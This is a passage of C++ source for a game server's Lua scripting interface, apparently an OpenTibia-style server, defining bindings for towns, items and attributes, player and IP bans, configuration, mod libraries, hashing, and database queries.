lua_pushboolean(L, IOLoginData::getInstance()->savePlayer(player, false, shallow)); else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetTownId(lua_State* L) { //getTownId(townName) std::string townName = popString(L); if(Town* town = Towns::getInstance()->getTown(townName)) lua_pushnumber(L, town->getID()); else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaGetTownName(lua_State* L) { //getTownName(townId) uint32_t townId = popNumber(L); if(Town* town = Towns::getInstance()->getTown(townId)) lua_pushstring(L, town->getName().c_str()); else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaGetTownTemplePosition(lua_State* L) { //getTownTemplePosition(townId) bool displayError = true; if(lua_gettop(L) >= 2) displayError = popNumber(L); uint32_t townId = popNumber(L); if(Town* town = Towns::getInstance()->getTown(townId)) pushPosition(L, town->getPosition(), 255); else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaGetTownHouses(lua_State* L) { //getTownHouses(townId) uint32_t townId = 0; if(lua_gettop(L) > 0) townId = popNumber(L); HouseMap::iterator it = Houses::getInstance()->getHouseBegin(); lua_newtable(L); for(uint32_t i = 1; it != Houses::getInstance()->getHouseEnd(); ++i, ++it) { if(townId != 0 && it->second->getTownId() != townId) continue; lua_pushnumber(L, i); lua_pushnumber(L, it->second->getId()); pushTable(L); } return 1; } int32_t LuaScriptInterface::luaGetSpectators(lua_State* L) { //getSpectators(centerPos, rangex, rangey[, multifloor = false]) bool multifloor = false; if(lua_gettop(L) > 3) multifloor = popNumber(L); uint32_t rangey = popNumber(L), rangex = popNumber(L); PositionEx centerPos; popPosition(L, centerPos); SpectatorVec list; g_game.getSpectators(list, centerPos, false, multifloor, rangex, rangex, rangey, rangey); if(list.empty()) { lua_pushnil(L); return 1; } ScriptEnviroment* env = getEnv(); SpectatorVec::const_iterator it = list.begin(); lua_newtable(L); for(uint32_t i = 1; it != list.end(); ++it, ++i) { lua_pushnumber(L, i); lua_pushnumber(L, env->addThing(*it)); pushTable(L); } return 1; } int32_t LuaScriptInterface::luaGetHighscoreString(lua_State* L) { //getHighscoreString(skillId) uint16_t skillId = popNumber(L); if(skillId <= SKILL__LAST) lua_pushstring(L, g_game.getHighscoreString(skillId).c_str()); else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaGetWaypointList(lua_State* L) { //getWaypointList() WaypointMap waypointsMap = g_game.getMap()->waypoints.getWaypointsMap(); WaypointMap::iterator it = waypointsMap.begin(); lua_newtable(L); for(uint32_t i = 1; it != waypointsMap.end(); ++it, ++i) { createTable(L, i); setField(L, "name", it->first); setField(L, "pos", it->second->pos.x); pushTable(L); } return 1; } int32_t LuaScriptInterface::luaGetWaypointPosition(lua_State* L) { //getWaypointPosition(name) if(WaypointPtr waypoint = g_game.getMap()->waypoints.getWaypointByName(popString(L))) pushPosition(L, waypoint->pos, 0); else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaDoWaypointAddTemporial(lua_State* L) { //doWaypointAddTemporial(name, pos) PositionEx pos; popPosition(L, pos); g_game.getMap()->waypoints.addWaypoint(WaypointPtr(new Waypoint(popString(L), pos))); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaGetGameState(lua_State* L) { //getGameState() lua_pushnumber(L, g_game.getGameState()); return 1; } int32_t LuaScriptInterface::luaDoSetGameState(lua_State* L) { //doSetGameState(id) uint32_t id = popNumber(L); if(id >= GAME_STATE_FIRST && id <= GAME_STATE_LAST) { Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, &g_game, (GameState_t)id))); lua_pushboolean(L, true); } else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaDoCreatureExecuteTalkAction(lua_State* L) { //doCreatureExecuteTalkAction(cid, text[, ignoreAccess[, channelId]]) uint32_t params = lua_gettop(L), channelId = CHANNEL_DEFAULT; if(params > 3) channelId = popNumber(L); bool ignoreAccess = false; if(params > 2) ignoreAccess = popNumber(L); std::string text = popString(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushboolean(L, g_talkActions->onPlayerSay(creature, channelId, text, ignoreAccess)); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoExecuteRaid(lua_State* L) { //doExecuteRaid(name) std::string raidName = popString(L); if(Raids::getInstance()->getRunning()) { lua_pushboolean(L, false); return 1; } Raid* raid = Raids::getInstance()->getRaidByName(raidName); if(!raid || !raid->isLoaded()) { errorEx("Raid with name " + raidName + " does not exists."); lua_pushboolean(L, false); return 1; } lua_pushboolean(L, raid->startRaid()); return 1; } int32_t LuaScriptInterface::luaDoReloadInfo(lua_State* L) { //doReloadInfo(id[, cid]) uint32_t cid = 0; if(lua_gettop(L) > 1) cid = popNumber(L); uint32_t id = popNumber(L); if(id >= RELOAD_FIRST && id <= RELOAD_LAST) { Scheduler::getInstance().addEvent(createSchedulerTask(SCHEDULER_MINTICKS, boost::bind(&Game::reloadInfo, &g_game, (ReloadInfo_t)id, cid))); lua_pushboolean(L, true); } else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaDoSaveServer(lua_State* L) { //doSaveServer([shallow]) bool shallow = false; if(lua_gettop(L) > 0) shallow = popNumber(L); Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::saveGameState, &g_game, shallow))); return 1; } int32_t LuaScriptInterface::luaDoCleanHouse(lua_State* L) { //doCleanHouse(houseId) uint32_t houseId = popNumber(L); if(House* house = Houses::getInstance()->getHouse(houseId)) { house->clean(); lua_pushboolean(L, true); } else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaDoCleanMap(lua_State* L) { //doCleanMap() uint32_t count = 0; g_game.cleanMap(count); lua_pushnumber(L, count); return 1; } int32_t LuaScriptInterface::luaDoRefreshMap(lua_State* L) { //doRefreshMap() g_game.proceduralRefresh(); return 1; } int32_t LuaScriptInterface::luaDoUpdateHouseAuctions(lua_State* L) { //doUpdateHouseAuctions() lua_pushboolean(L, IOMapSerialize::getInstance()->updateAuctions()); return 1; } int32_t LuaScriptInterface::luaGetItemIdByName(lua_State* L) { //getItemIdByName(name[, displayError = true]) bool displayError = true; if(lua_gettop(L) >= 2) displayError = popNumber(L); int32_t itemId = Item::items.getItemIdByName(popString(L)); if(itemId == -1) { if(displayError) errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); } else lua_pushnumber(L, itemId); return 1; } int32_t LuaScriptInterface::luaGetItemInfo(lua_State* L) { //getItemInfo(itemid) const ItemType* item; if(!(item = Item::items.getElement(popNumber(L)))) { lua_pushboolean(L, false); return 1; } lua_newtable(L); setFieldBool(L, "stopTime", item->stopTime); setFieldBool(L, "showCount", item->showCount); setFieldBool(L, "clientCharges", item->clientCharges); setFieldBool(L, "stackable", item->stackable); setFieldBool(L, "showDuration", item->showDuration); setFieldBool(L, "showCharges", item->showCharges); setFieldBool(L, "showAttributes", item->showCharges); setFieldBool(L, "distRead", item->allowDistRead); setFieldBool(L, "readable", item->canReadText); setFieldBool(L, "writable", item->canWriteText); setFieldBool(L, "forceSerialize", item->forceSerialize); setFieldBool(L, "vertical", item->isVertical); setFieldBool(L, "horizontal", item->isHorizontal); setFieldBool(L, "hangable", item->isHangable); setFieldBool(L, "usable", item->useable); setFieldBool(L, "movable", item->moveable); setFieldBool(L, "pickupable", item->pickupable); setFieldBool(L, "rotable", item->rotable); setFieldBool(L, "replacable", item->replaceable); setFieldBool(L, "hasHeight", item->hasHeight); setFieldBool(L, "blockSolid", item->blockSolid); setFieldBool(L, "blockPickupable", item->blockPickupable); setFieldBool(L, "blockProjectile", item->blockProjectile); setFieldBool(L, "blockPathing", item->blockPathFind); setFieldBool(L, "allowPickupable", item->allowPickupable); setFieldBool(L, "alwaysOnTop", item->alwaysOnTop); createTable(L, "floorChange"); for(int32_t i = CHANGE_FIRST; i <= CHANGE_LAST; ++i) { lua_pushnumber(L, i); lua_pushboolean(L, item->floorChange[i - 1]); pushTable(L); } pushTable(L); setField(L, "magicEffect", (int32_t)item->magicEffect); setField(L, "fluidSource", (int32_t)item->fluidSource); setField(L, "weaponType", (int32_t)item->weaponType); setField(L, "bedPartnerDirection", (int32_t)item->bedPartnerDir); setField(L, "ammoAction", (int32_t)item->ammoAction); setField(L, "combatType", (int32_t)item->combatType); setField(L, "corpseType", (int32_t)item->corpseType); setField(L, "shootType", (int32_t)item->shootType); setField(L, "ammoType", (int32_t)item->ammoType); createTable(L, "transformUseTo"); setField(L, "female", item->transformUseTo[PLAYERSEX_FEMALE]); setField(L, "male", item->transformUseTo[PLAYERSEX_MALE]); pushTable(L); setField(L, "transformToFree", item->transformToFree); setField(L, "transformEquipTo", item->transformEquipTo); setField(L, "transformDeEquipTo", item->transformDeEquipTo); setField(L, "clientId", item->clientId); setField(L, "maxItems", item->maxItems); setField(L, "slotPosition", item->slotPosition); setField(L, "wieldPosition", item->wieldPosition); setField(L, "speed", item->speed); setField(L, "maxTextLength", item->maxTextLen); setField(L, "writeOnceItemId", item->writeOnceItemId); setField(L, "attack", item->attack); setField(L, "extraAttack", item->extraAttack); setField(L, "defense", item->defense); setField(L, "extraDefense", item->extraDefense); setField(L, "armor", item->armor); setField(L, "breakChance", item->breakChance); setField(L, "hitChance", item->hitChance); setField(L, "maxHitChance", item->maxHitChance); setField(L, "runeLevel", item->runeLevel); setField(L, "runeMagicLevel", item->runeMagLevel); setField(L, "lightLevel", item->lightLevel); setField(L, "lightColor", item->lightColor); setField(L, "decayTo", item->decayTo); setField(L, "rotateTo", item->rotateTo); setField(L, "alwaysOnTopOrder", item->alwaysOnTopOrder); setField(L, "shootRange", item->shootRange); setField(L, "charges", item->charges); setField(L, "decayTime", item->decayTime); setField(L, "attackSpeed", item->attackSpeed); setField(L, "wieldInfo", item->wieldInfo); setField(L, "minRequiredLevel", item->minReqLevel); setField(L, "minRequiredMagicLevel", item->minReqMagicLevel); setField(L, "worth", item->worth); setField(L, "levelDoor", item->levelDoor); setField(L, "name", item->name.c_str()); setField(L, "plural", item->pluralName.c_str()); setField(L, "article", item->article.c_str()); setField(L, "description", item->description.c_str()); setField(L, "runeSpellName", item->runeSpellName.c_str()); setField(L, "vocationString", item->vocationString.c_str()); createTable(L, "abilities"); setFieldBool(L, "manaShield", item->abilities.manaShield); setFieldBool(L, "invisible", item->abilities.invisible); setFieldBool(L, "regeneration", item->abilities.regeneration); setFieldBool(L, "preventLoss", item->abilities.preventLoss); setFieldBool(L, "preventDrop", item->abilities.preventDrop); setField(L, "elementType", (int32_t)item->abilities.elementType); setField(L, "elementDamage", item->abilities.elementDamage); setField(L, "speed", item->abilities.speed); setField(L, "healthGain", item->abilities.healthGain); setField(L, "healthTicks", item->abilities.healthTicks); setField(L, "manaGain", item->abilities.manaGain); setField(L, "manaTicks", item->abilities.manaTicks); setField(L, "conditionSuppressions", item->abilities.conditionSuppressions); //TODO: absorb, increment, reflect, skills, skillsPercent, stats, statsPercent pushTable(L); setField(L, "group", (int32_t)item->group); setField(L, "type", (int32_t)item->type); setFieldFloat(L, "weight", item->weight); return 1; } int32_t LuaScriptInterface::luaGetItemAttribute(lua_State* L) { //getItemAttribute(uid, key) std::string key = popString(L); ScriptEnviroment* env = getEnv(); Item* item = env->getItemByUID(popNumber(L)); if(!item) { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushnil(L); return 1; } boost::any value = item->getAttribute(key); if(value.empty()) lua_pushnil(L); else if(value.type() == typeid(std::string)) lua_pushstring(L, boost::any_cast<std::string>(value).c_str()); else if(value.type() == typeid(int32_t)) lua_pushnumber(L, boost::any_cast<int32_t>(value)); else if(value.type() == typeid(float)) lua_pushnumber(L, boost::any_cast<float>(value)); else if(value.type() == typeid(bool)) lua_pushboolean(L, boost::any_cast<bool>(value)); else lua_pushnil(L); return 1; } int32_t LuaScriptInterface::luaDoItemSetAttribute(lua_State* L) { //doItemSetAttribute(uid, key, value) boost::any value; if(lua_isnumber(L, -1)) { float tmp = popFloatNumber(L); if(std::floor(tmp) < tmp) value = tmp; else value = (int32_t)tmp; } else if(lua_isboolean(L, -1)) value = popBoolean(L); else if(lua_isstring(L, -1)) value = popString(L); else { lua_pop(L, 1); errorEx("Invalid data type"); lua_pushboolean(L, false); return 1; } std::string key = popString(L); ScriptEnviroment* env = getEnv(); Item* item = env->getItemByUID(popNumber(L)); if(!item) { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); return 1; } if(value.type() == typeid(int32_t)) { if(key == "uid") { int32_t tmp = boost::any_cast<int32_t>(value); if(tmp < 1000 || tmp > 0xFFFF) { errorEx("Value for protected key \"uid\" must be in range of 1000 to 65535"); lua_pushboolean(L, false); return 1; } item->setUniqueId(tmp); } else if(key == "aid") item->setActionId(boost::any_cast<int32_t>(value)); else item->setAttribute(key, boost::any_cast<int32_t>(value)); } else item->setAttribute(key, value); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoItemEraseAttribute(lua_State* L) { //doItemEraseAttribute(uid, key) std::string key = popString(L); ScriptEnviroment* env = getEnv(); Item* item = env->getItemByUID(popNumber(L)); if(!item) { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); return 1; } bool ret = true; if(key == "uid") { errorEx("Attempt to erase protected key \"uid\"."); ret = false; } else if(key != "aid") item->eraseAttribute(key); else item->resetActionId(); lua_pushboolean(L, ret); return 1; } int32_t LuaScriptInterface::luaGetItemWeight(lua_State* L) { //getItemWeight(itemid[, precise = true]) bool precise = true; if(lua_gettop(L) > 2) precise = popNumber(L); ScriptEnviroment* env = getEnv(); Item* item = env->getItemByUID(popNumber(L)); if(!item) { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); return 1; } double weight = item->getWeight(); if(precise) { std::stringstream ws; ws << std::fixed << std::setprecision(2) << weight; weight = atof(ws.str().c_str()); } lua_pushnumber(L, weight); return 1; } int32_t LuaScriptInterface::luaHasItemProperty(lua_State* L) { //hasItemProperty(uid, prop) uint32_t prop = popNumber(L); ScriptEnviroment* env = getEnv(); Item* item = env->getItemByUID(popNumber(L)); if(!item) { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); return 1; } //Check if the item is a tile, so we can get more accurate properties bool tmp = item->hasProperty((ITEMPROPERTY)prop); if(item->getTile() && item->getTile()->ground == item) tmp = item->getTile()->hasProperty((ITEMPROPERTY)prop); lua_pushboolean(L, tmp); return 1; } int32_t LuaScriptInterface::luaIsIpBanished(lua_State* L) { //isIpBanished(ip[, mask]) uint32_t mask = 0xFFFFFFFF; if(lua_gettop(L) > 1) mask = popNumber(L); lua_pushboolean(L, IOBan::getInstance()->isIpBanished((uint32_t)popNumber(L), mask)); return 1; } int32_t LuaScriptInterface::luaIsPlayerBanished(lua_State* L) { //isPlayerBanished(name/guid, type) PlayerBan_t type = (PlayerBan_t)popNumber(L); if(lua_isnumber(L, -1)) lua_pushboolean(L, IOBan::getInstance()->isPlayerBanished((uint32_t)popNumber(L), type)); else lua_pushboolean(L, IOBan::getInstance()->isPlayerBanished(popString(L), type)); return 1; } int32_t LuaScriptInterface::luaIsAccountBanished(lua_State* L) { //isAccountBanished(accountId[, playerId]) uint32_t playerId = 0; if(lua_gettop(L) > 1) playerId = popNumber(L); lua_pushboolean(L, IOBan::getInstance()->isAccountBanished((uint32_t)popNumber(L), playerId)); return 1; } int32_t LuaScriptInterface::luaDoAddIpBanishment(lua_State* L) { //doAddIpBanishment(ip[, mask[, length[, reason[, comment[, admin[, statement]]]]]]) uint32_t admin = 0, reason = 21, mask = 0xFFFFFFFF, params = lua_gettop(L); int64_t length = time(NULL) + g_config.getNumber(ConfigManager::IPBANISHMENT_LENGTH); std::string statement, comment; if(params > 6) statement = popString(L); if(params > 5) admin = popNumber(L); if(params > 4) comment = popString(L); if(params > 3) reason = popNumber(L); if(params > 2) length = popNumber(L); if(params > 1) mask = popNumber(L); lua_pushboolean(L, IOBan::getInstance()->addIpBanishment((uint32_t)popNumber(L), length, reason, comment, admin, mask, statement)); return 1; } int32_t LuaScriptInterface::luaDoAddPlayerBanishment(lua_State* L) { //doAddPlayerBanishment(name/guid[, type[, length[, reason[, action[, comment[, admin[, statement]]]]]]]) uint32_t admin = 0, reason = 21, params = lua_gettop(L); int64_t length = -1; std::string statement, comment; ViolationAction_t action = ACTION_NAMELOCK; PlayerBan_t type = PLAYERBAN_LOCK; if(params > 7) statement = popString(L); if(params > 6) admin = popNumber(L); if(params > 5) comment = popString(L); if(params > 4) action = (ViolationAction_t)popNumber(L); if(params > 3) reason = popNumber(L); if(params > 2) length = popNumber(L); if(params > 1) type = (PlayerBan_t)popNumber(L); if(lua_isnumber(L, -1)) lua_pushboolean(L, IOBan::getInstance()->addPlayerBanishment((uint32_t)popNumber(L), length, reason, action, comment, admin, type, statement)); else lua_pushboolean(L, IOBan::getInstance()->addPlayerBanishment(popString(L), length, reason, action, comment, admin, type, statement)); return 1; } int32_t LuaScriptInterface::luaDoAddAccountBanishment(lua_State* L) { //doAddAccountBanishment(accountId[, playerId[, length[, reason[, action[, comment[, admin[, statement]]]]]]]) uint32_t admin = 0, reason = 21, playerId = 0, params = lua_gettop(L); int64_t length = time(NULL) + g_config.getNumber(ConfigManager::BAN_LENGTH); std::string statement, comment; ViolationAction_t action = ACTION_BANISHMENT; if(params > 7) statement = popString(L); if(params > 6) admin = popNumber(L); if(params > 5) comment = popString(L); if(params > 4) action = (ViolationAction_t)popNumber(L); if(params > 3) reason = popNumber(L); if(params > 2) length = popNumber(L); if(params > 1) playerId = popNumber(L); lua_pushboolean(L, IOBan::getInstance()->addAccountBanishment((uint32_t)popNumber(L), length, reason, action, comment, admin, playerId, statement)); return 1; } int32_t LuaScriptInterface::luaDoAddNotation(lua_State* L) { //doAddNotation(accountId[, playerId[, reason[, comment[, admin[, statement]]]]]]) uint32_t admin = 0, reason = 21, playerId = 0, params = lua_gettop(L); std::string statement, comment; if(params > 5) statement = popString(L); if(params > 4) admin = popNumber(L); if(params > 3) comment = popString(L); if(params > 2) reason = popNumber(L); if(params > 1) playerId = popNumber(L); lua_pushboolean(L, IOBan::getInstance()->addNotation((uint32_t)popNumber(L), reason, comment, admin, playerId, statement)); return 1; } int32_t LuaScriptInterface::luaDoAddStatement(lua_State* L) { //doAddStatement(name/guid[, channelId[, reason[, comment[, admin[, statement]]]]]]) uint32_t admin = 0, reason = 21, params = lua_gettop(L); int16_t channelId = -1; std::string statement, comment; if(params > 5) statement = popString(L); if(params > 4) admin = popNumber(L); if(params > 3) comment = popString(L); if(params > 2) reason = popNumber(L); if(params > 1) channelId = popNumber(L); if(lua_isnumber(L, -1)) lua_pushboolean(L, IOBan::getInstance()->addStatement((uint32_t)popNumber(L), reason, comment, admin, channelId, statement)); else lua_pushboolean(L, IOBan::getInstance()->addStatement(popString(L), reason, comment, admin, channelId, statement)); return 1; } int32_t LuaScriptInterface::luaDoRemoveIpBanishment(lua_State* L) { //doRemoveIpBanishment(ip[, mask]) uint32_t mask = 0xFFFFFFFF; if(lua_gettop(L) > 1) mask = popNumber(L); lua_pushboolean(L, IOBan::getInstance()->removeIpBanishment( (uint32_t)popNumber(L), mask)); return 1; } int32_t LuaScriptInterface::luaDoRemovePlayerBanishment(lua_State* L) { //doRemovePlayerBanishment(name/guid, type) PlayerBan_t type = (PlayerBan_t)popNumber(L); if(lua_isnumber(L, -1)) lua_pushboolean(L, IOBan::getInstance()->removePlayerBanishment((uint32_t)popNumber(L), type)); else lua_pushboolean(L, IOBan::getInstance()->removePlayerBanishment(popString(L), type)); return 1; } int32_t LuaScriptInterface::luaDoRemoveAccountBanishment(lua_State* L) { //doRemoveAccountBanishment(accountId[, playerId]) uint32_t playerId = 0; if(lua_gettop(L) > 1) playerId = popNumber(L); lua_pushboolean(L, IOBan::getInstance()->removeAccountBanishment((uint32_t)popNumber(L), playerId)); return 1; } int32_t LuaScriptInterface::luaDoRemoveNotations(lua_State* L) { //doRemoveNotations(accountId[, playerId]) uint32_t playerId = 0; if(lua_gettop(L) > 1) playerId = popNumber(L); lua_pushboolean(L, IOBan::getInstance()->removeNotations((uint32_t)popNumber(L), playerId)); return 1; } int32_t LuaScriptInterface::luaDoRemoveStatements(lua_State* L) { //doRemoveStatements(name/guid[, channelId]) int16_t channelId = -1; if(lua_gettop(L) > 1) channelId = popNumber(L); if(lua_isnumber(L, -1)) lua_pushboolean(L, IOBan::getInstance()->removeStatements((uint32_t)popNumber(L), channelId)); else lua_pushboolean(L, IOBan::getInstance()->removeStatements(popString(L), channelId)); return 1; } int32_t LuaScriptInterface::luaGetNotationsCount(lua_State* L) { //getNotationsCount(accountId[, playerId]) uint32_t playerId = 0; if(lua_gettop(L) > 1) playerId = popNumber(L); lua_pushnumber(L, IOBan::getInstance()->getNotationsCount((uint32_t)popNumber(L), playerId)); return 1; } int32_t LuaScriptInterface::luaGetStatementsCount(lua_State* L) { //getStatementsCount(name/guid[, channelId]) int16_t channelId = -1; if(lua_gettop(L) > 1) channelId = popNumber(L); if(lua_isnumber(L, -1)) lua_pushnumber(L, IOBan::getInstance()->getStatementsCount((uint32_t)popNumber(L), channelId)); else lua_pushnumber(L, IOBan::getInstance()->getStatementsCount(popString(L), channelId)); return 1; } int32_t LuaScriptInterface::luaGetBanData(lua_State* L) { //getBanData(value[, type[, param]]) Ban tmp; uint32_t params = lua_gettop(L); if(params > 2) tmp.param = popNumber(L); if(params > 1) tmp.type = (Ban_t)popNumber(L); tmp.value = popNumber(L); if(!IOBan::getInstance()->getData(tmp)) { lua_pushboolean(L, false); return 1; } lua_newtable(L); setField(L, "id", tmp.id); setField(L, "type", tmp.type); setField(L, "value", tmp.value); setField(L, "param", tmp.param); setField(L, "added", tmp.added); setField(L, "expires", tmp.expires); setField(L, "adminId", tmp.adminId); setField(L, "reason", tmp.reason); setField(L, "action", tmp.action); setField(L, "comment", tmp.comment); setField(L, "statement", tmp.statement); return 1; } int32_t LuaScriptInterface::luaGetBanReason(lua_State* L) { //getBanReason(id) lua_pushstring(L, getReason((ViolationAction_t)popNumber(L)).c_str()); return 1; } int32_t LuaScriptInterface::luaGetBanAction(lua_State* L) { //getBanAction(id[, ipBanishment]) bool ipBanishment = false; if(lua_gettop(L) > 1) ipBanishment = popNumber(L); lua_pushstring(L, getAction((ViolationAction_t)popNumber(L), ipBanishment).c_str()); return 1; } int32_t LuaScriptInterface::luaGetBanList(lua_State* L) { //getBanList(type[, value[, param]]) int32_t param = 0, params = lua_gettop(L); if(params > 2) param = popNumber(L); uint32_t value = 0; if(params > 1) value = popNumber(L); BansVec bans = IOBan::getInstance()->getList((Ban_t)popNumber(L), value, param); BansVec::const_iterator it = bans.begin(); lua_newtable(L); for(uint32_t i = 1; it != bans.end(); ++it, ++i) { createTable(L, i); setField(L, "id", it->id); setField(L, "type", it->type); setField(L, "value", it->value); setField(L, "param", it->param); setField(L, "added", it->added); setField(L, "expires", it->expires); setField(L, "adminId", it->adminId); setField(L, "reason", it->reason); setField(L, "action", it->action); setField(L, "comment", it->comment); setField(L, "statement", it->statement); pushTable(L); } return 1; } int32_t LuaScriptInterface::luaGetExperienceStage(lua_State* L) { //getExperienceStage(level[, divider]) double divider = 1.0f; if(lua_gettop(L) > 1) divider = popFloatNumber(L); lua_pushnumber(L, g_game.getExperienceStage(popNumber(L), divider)); return 1; } int32_t LuaScriptInterface::luaGetDataDir(lua_State* L) { //getDataDir() lua_pushstring(L, getFilePath(FILE_TYPE_OTHER, "").c_str()); return 1; } int32_t LuaScriptInterface::luaGetLogsDir(lua_State* L) { //getLogsDir() lua_pushstring(L, getFilePath(FILE_TYPE_LOG, "").c_str()); return 1; } int32_t LuaScriptInterface::luaGetConfigFile(lua_State* L) { //getConfigFile() lua_pushstring(L, g_config.getString(ConfigManager::CONFIG_FILE).c_str()); return 1; } int32_t LuaScriptInterface::luaGetConfigValue(lua_State* L) { //getConfigValue(key) g_config.getValue(popString(L), L); return 1; } int32_t LuaScriptInterface::luaGetModList(lua_State* L) { //getModList() ModMap::iterator it = ScriptingManager::getInstance()->getFirstMod(); lua_newtable(L); for(uint32_t i = 1; it != ScriptingManager::getInstance()->getLastMod(); ++it, ++i) { createTable(L, i); setField(L, "name", it->first); setField(L, "description", it->second.description); setField(L, "file", it->second.file); setField(L, "version", it->second.version); setField(L, "author", it->second.author); setField(L, "contact", it->second.contact); setFieldBool(L, "enabled", it->second.enabled); pushTable(L); } return 1; } int32_t LuaScriptInterface::luaL_loadmodlib(lua_State* L) { //loadmodlib(lib) std::string name = asLowerCaseString(popString(L)); for(LibMap::iterator it = ScriptingManager::getInstance()->getFirstLib(); it != ScriptingManager::getInstance()->getLastLib(); ++it) { if(asLowerCaseString(it->first) != name) continue; luaL_loadstring(L, it->second.second.c_str()); lua_pushvalue(L, -1); break; } return 1; } int32_t LuaScriptInterface::luaL_domodlib(lua_State* L) { //domodlib(lib) std::string name = asLowerCaseString(popString(L)); for(LibMap::iterator it = ScriptingManager::getInstance()->getFirstLib(); it != ScriptingManager::getInstance()->getLastLib(); ++it) { if(asLowerCaseString(it->first) != name) continue; bool ret = luaL_dostring(L, it->second.second.c_str()); if(ret) error(NULL, popString(L)); lua_pushboolean(L, !ret); break; } return 1; } int32_t LuaScriptInterface::luaL_dodirectory(lua_State* L) { std::string dir = popString(L); if(!getEnv()->getInterface()->loadDirectory(dir, NULL)) { errorEx("Failed to load directory " + dir + "."); lua_pushboolean(L, false); } else lua_pushboolean(L, true); return 1; } #define EXPOSE_LOG(Name, Stream)\ int32_t LuaScriptInterface::luaStd##Name(lua_State* L)\ {\ StringVec data;\ for(int32_t i = 0, params = lua_gettop(L); i < params; ++i)\ data.push_back(popString(L));\ \ for(StringVec::reverse_iterator it = data.rbegin(); it != data.rend(); ++it)\ Stream << (*it) << std::endl;\ \ lua_pushnumber(L, data.size());\ return 1;\ } EXPOSE_LOG(Cout, std::cout) EXPOSE_LOG(Cerr, std::cerr) EXPOSE_LOG(Clog, std::clog) #undef EXPOSE_LOG int32_t LuaScriptInterface::luaStdMD5(lua_State* L) { //std.md5(string[, upperCase]) bool upperCase = false; if(lua_gettop(L) > 1) upperCase = popNumber(L); lua_pushstring(L, transformToMD5(popString(L), upperCase).c_str()); return 1; } int32_t LuaScriptInterface::luaStdSHA1(lua_State* L) { //std.sha1(string[, upperCase]) bool upperCase = false; if(lua_gettop(L) > 1) upperCase = popNumber(L); lua_pushstring(L, transformToSHA1(popString(L), upperCase).c_str()); return 1; } int32_t LuaScriptInterface::luaDatabaseExecute(lua_State* L) { //db.executeQuery(query) DBQuery query; //lock mutex lua_pushboolean(L, Database::getInstance()->executeQuery(popString(L))); return 1; } int32_t LuaScriptInterface::luaDatabaseStoreQuery(lua_State* L) { //db.storeQuery(query) ScriptEnviroment* env = getEnv(); DBQuery query; //lock mutex if(DBResult* res = Database::getInstance()->storeQuery(popString(L))) lua_pushnumber(L, env->addResult(res)); else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaDatabaseEscapeString(lua_State* L) { //db.escapeString(str) DBQuery query; //lock mutex lua_pushstring(L, Database::getInstance()->escapeString(popString(L)).c_str()); return 1; } int32_t LuaScriptInterface::luaDatabaseEscapeBlob(lua_State* L) { //db.escapeBlob(s, length) uint32_t length = popNumber(L); DBQuery query; //lock mutex lua_pushstring(L, Database::getInstance()->escapeBlob(popString(L).c_str(), length).c_str()); return 1; } int32_t LuaScriptInterface::luaDatabaseLastInsertId(lua_State* L) { //db.lastInsertId() DBQuery query; //lock mutex lua_pushnumber(L, Database::getInstance()->getLastInsertId()); return 1; } int32_t LuaScriptInterface::luaDatabaseStringComparison(lua_State* L) { //db.stringComparison() lua_pushstring(L, Database::getInstance()->getStringComparison().c_str()); return 1; } int32_t LuaScriptInterface::luaDatabaseUpdateLimiter(lua_State* L) { //db.updateLimiter() lua_pushstring(L, Database::getInstance()->getUpdateLimiter().c_str()); return 1; } #define CHECK_RESULT()\ if(!res)\ {\ lua_pushboolean(L, false);\ return 1;\ } int32_t LuaScriptInterface::luaResultGetDataInt(lua_State* L) { //result.getDataInt(res, s) const std::string& s = popString(L); ScriptEnviroment* env = getEnv(); DBResult* res = env->getResultByID(popNumber(L)); CHECK_RESULT() lua_pushnumber(L, res->getDataInt(s)); return 1; } int32_t LuaScriptInterface::luaResultGetDataLong(lua_State* L) { //result.getDataLong(res, s) const std::string& s = popString(L); ScriptEnviroment* env = getEnv(); DBResult* res = env->getResultByID(popNumber(L)); CHECK_RESULT() lua_pushnumber(L, res->getDataLong(s)); return 1; } int32_t LuaScriptInterface::luaResultGetDataString(lua_State* L) { //result.getDataString(res, s) const std::string& s = popString(L); ScriptEnviroment* env = getEnv(); DBResult* res = env->getResultByID(popNumber(L)); CHECK_RESULT() lua_pushstring(L, res->getDataString(s).c_str()); return 1; } int32_t LuaScriptInterface::luaResultGetDataStream(lua_State* L) { //result.getDataStream(res, s) const std::string s = popString(L); ScriptEnviroment* env = getEnv(); DBResult* res = env->getResultByID(popNumber(L)); CHECK_RESULT() uint64_t length = 0; lua_pushstring(L, res->getDataStream(s, length)); lua_pushnumber(L, length); return 1; } int32_t LuaScriptInterface::luaResultNext(lua_State* L) { //result.next(res) ScriptEnviroment* env = getEnv(); DBResult* res = env->getResultByID(popNumber(L)); CHECK_RESULT() lua_pushboolean(L, res->next()); return 1; } int32_t LuaScriptInterface::luaResultFree(lua_State* L) { //result.free(res) uint32_t rid = popNumber(L); ScriptEnviroment* env = 